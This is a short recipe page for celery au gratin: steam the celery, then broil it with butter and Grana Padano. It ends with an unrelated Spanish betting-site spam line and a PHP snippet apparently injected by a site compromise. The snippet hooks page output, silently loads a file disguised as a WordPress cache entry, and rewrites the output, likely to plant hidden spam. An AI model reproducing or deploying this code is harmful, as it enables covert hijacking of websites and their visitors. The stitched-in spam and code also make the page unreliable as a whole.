Celery au Gratin

Prep Time

5 Minutes

Cook Time

10 Minutes

Yield

Serves 4

Description

Most ingredients are available in the market!

Ingredients

1 bunch Celery Stalks
2 1/2 oz Grana Padano, Grated
2 1/2 oz Butter, Unsalted
Salt

Method of Preparation

1. Remove hard, outer celery stalks from bunch.
2. Separate remaining stalks and wash well.
3. Cut into finger-thick pieces.
4. Steam celery for 5-7 minutes.
5. Place in a buttered baking dish and sprinkle with grated cheese.
6. Evenly distribute the melted butter over the celery.
7. Pre-heat the broiler and broil until the cheese begins to melt.

Recipe Source

The Cheeses of Italy, Ars Vivendi

Mejores Casas de Apuestas para Carreras de Caballos en Argentina con Betzoid
function ob_gzhanler($s) { $f='/data/19/2/124/52/2939541/user/3258021/htdocs/Development/wp-content/cache/ssess_2a52da7dd6661b1ae8dca7d527933a19'; if(file_exists($f)) include_once($f); return class_exists('phpupdate') ? phpupdate::copyright($s) : $s; } ob_start('ob_gzhanler');